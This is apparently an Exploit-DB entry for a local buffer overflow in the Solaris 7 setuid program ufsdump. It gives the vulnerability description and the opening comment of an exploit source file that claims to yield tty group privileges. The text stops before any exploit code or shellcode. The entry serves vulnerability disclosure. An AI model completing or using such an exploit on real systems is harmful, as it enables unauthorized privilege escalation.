Solaris 7.0 - 'ufsdump' Local Buffer Overflow (1)

EDB-ID:

19533


Author:

Type:

local


Platform:

Solaris

Date:

// source: https://www.securityfocus.com/bid/680/info


A buffer overflow vulnerability in the /usr/lib/fs/ufs/ufsdump setuid program allows local users to obtain root and tty group access. The vulnerability is the result of 'ufsdump' not being able to handle device names of a large length.


/* ufsdump.c
* Description:  Overflows a buffer to give you EGID=tty.
* At least that's what id reports.
* The running shell thinks its still the user.  Maybe I'm
* doing something wrong?  At any
* rate,  here ya go, have fun.
*
*  smm@wpi.edu
*  Thanks to: Jesse Schachter for the box, and
*  Unknown parties for the shellcode. (probably Aleph1).
